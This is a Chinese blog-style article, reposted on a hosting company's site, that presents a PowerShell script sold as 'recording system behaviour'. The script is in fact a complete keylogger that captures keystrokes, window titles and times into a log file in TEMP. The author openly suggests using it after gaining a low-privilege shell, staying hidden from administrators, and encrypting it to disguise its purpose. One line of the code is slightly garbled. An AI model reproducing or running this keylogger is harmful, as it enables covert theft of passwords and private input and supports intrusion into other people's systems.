• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    PowerShell小技巧之定时记录操作系统行为

    作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。

          可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
     
          代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:

    复制代码 代码如下:

     =====文件名:Get-TimedOperationRecord.ps1=====
    function Get-TimedOperationRecord {
    #
        Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
     Logs keys pressed, time and the active window.
    .Parameter LogPath
        Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
    .Parameter CollectionInterval
        Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
    .Example
        Get-TimedOperationRecord -LogPath C:\key.log
    .Example
        Get-TimedOperationRecord -CollectionInterval 20
    #>
        [CmdletBinding()] Param (
            [Parameter(Position = 0)]
            [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
            [String]
            $LogPath = "$($Env:TEMP)\key.log",

            [Parameter(Position = 1)]
            [UInt32]
            $CollectionInterval
        )

        $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

        Write-Verbose "Logging keystrokes to $LogPath"

        $Initilizer = {
            $LogPath = 'REPLACEME'

            '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

            function KeyLog {
                [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

                try
                {
                    $ImportDll = [User32]
                }
                catch
                {
                    $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                    $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                    $FieldArray = [Reflection.FieldInfo[]] @(
                        [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                        [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                        [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                        [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                        [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                        [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                    )

                    $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                    $FieldValueArray = [Object[]] @(
                        'GetAsyncKeyState',
                        $True,
                        $False,
                        $True,
                        [Runtime.InteropServices.CallingConvention]::Winapi,
                        [Runtime.InteropServices.CharSet]::Auto
                    )
                    $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                    $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                    $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
                    $FieldValueArray = [Object[]] @(
                        'GetKeyboardState',
                        $True,
                        $False,
                        $True,
                        [Runtime.InteropServices.CallingConvention]::Winapi,
                        [Runtime.InteropServices.CharSet]::Auto
                    )
                    $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                    $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                    $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))
                    $FieldValueArray = [Object[]] @(
                        'MapVirtualKey',
                        $False,
                        $False,
                        $True,
                        [Runtime.InteropServices.CallingConvention]::Winapi,
                        [Runtime.InteropServices.CharSet]::Auto
                    )
                    $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                    $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                    $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
                        [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
                    $FieldValueArray = [Object[]] @(
                        'ToUnicode',
                        $False,
                        $False,
                        $True,
                        [Runtime.InteropServices.CallingConvention]::Winapi,
                        [Runtime.InteropServices.CharSet]::Auto
                    )
                    $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                    $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                    $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                    $FieldValueArray = [Object[]] @(
                        'GetForegroundWindow',
                        $True,
                        $False,
                        $True,
                        [Runtime.InteropServices.CallingConvention]::Winapi,
                        [Runtime.InteropServices.CharSet]::Auto
                    )
                    $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                    $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                    $ImportDll = $TypeBuilder.CreateType()
                }

                Start-Sleep -Milliseconds 40

                    try
                    {

                        #loop through typeable characters to see which is pressed
                        for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                        {
                            $VirtualKey = $TypeableChar
                            $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                            #if the key is pressed
                            if (($KeyResult -band 0x8000) -eq 0x8000)
                            {

                                #check for keys not mapped by virtual keyboard
                                $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                                $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                                $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                                $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                                $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                                $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                                $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                                $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                                $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                                $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                                $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                                $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                                $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                                $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                                $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                                $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                                $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                                if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
                                if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}
                                if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}
                                if ($TabKey)       {$LogOutput += '[Tab]'}
                                if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}
                                if ($DeleteKey)    {$LogOutput += '[Delete]'}
                                if ($EnterKey)     {$LogOutput += '[Enter]'}
                                if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                                if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                                if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                                if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                                if ($DownArrow)    {$LogOutput += '[Down Arrow]'}
                                if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}
                                if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

                                #check for capslock
                                if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                                $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                                $KeyboardState = New-Object Byte[] 256
                                $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                                #create a stringbuilder object
                                $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                                $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                                #convert typed characters
                                if ($UnicodeKey -gt 0) {
                                    $TypedCharacter = $StringBuilder.ToString()
                                    $LogOutput += ('['+ $TypedCharacter +']')
                                }

                                #get the title of the foreground window
                                $TopWindow = $ImportDll::GetForegroundWindow()
                                $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                                #get the current DTG
                                $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

                                #Create a custom object to store results
                                $ObjectProperties = @{'Key Typed' = $LogOutput;
                                                      'Window Title' = $WindowTitle;
                                                      'Time' = $TimeStamp}
                                $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                                $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
                                #return results
                                Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

                            }
                        }
                    }
                    catch {}
                }
            }

        $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

        Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

        if ($PSBoundParameters['CollectionInterval'])
        {
            $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

            Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
                Stop-Job -Name Keylogger
                Unregister-Event -SourceIdentifier ElapsedAction
                $Sender.Stop()
            } | Out-Null
        }
    }

    执行方式如下图所示:

    执行效果,会在指定的目录里生成log文件,内容如下图所示:

    能够看到里面相关的击键动作,有兴趣的读者可以猜一下,这段被记录的操作都干了什么,期间腾讯还推了一次弹窗新闻,无耻啊。

    您可能感兴趣的文章:
    • linux中 shell 历史命令记录功能
    • 用来记录登录后使用命令的shell脚本
    • shell将脚本输出结果记录到日志文件的实现
    • PowerShell时间记录脚本
    • Powershell小技巧之记录脚本的操作
    • Powershell小技巧之用变量累积记录错误
    • shell如何记录用户的IP与命令详解
    上一篇:PowerShell小技巧之定时抓取屏幕图像
    下一篇:PowerShell小技巧之读取Windows产品密钥
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    PowerShell小技巧之定时记录操作系统行为 PowerShell,小,技巧,之,定时,